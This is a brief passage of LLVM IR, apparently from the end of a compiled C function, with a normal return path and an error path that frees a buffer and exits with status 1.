%122 = call i32 @free(i8* %59)
ret i32 0
123: ; preds = %56, %85
%124 = call i32 @free(i8* %59)
%125 = call i32 @exit(i32 1)
unreachable
}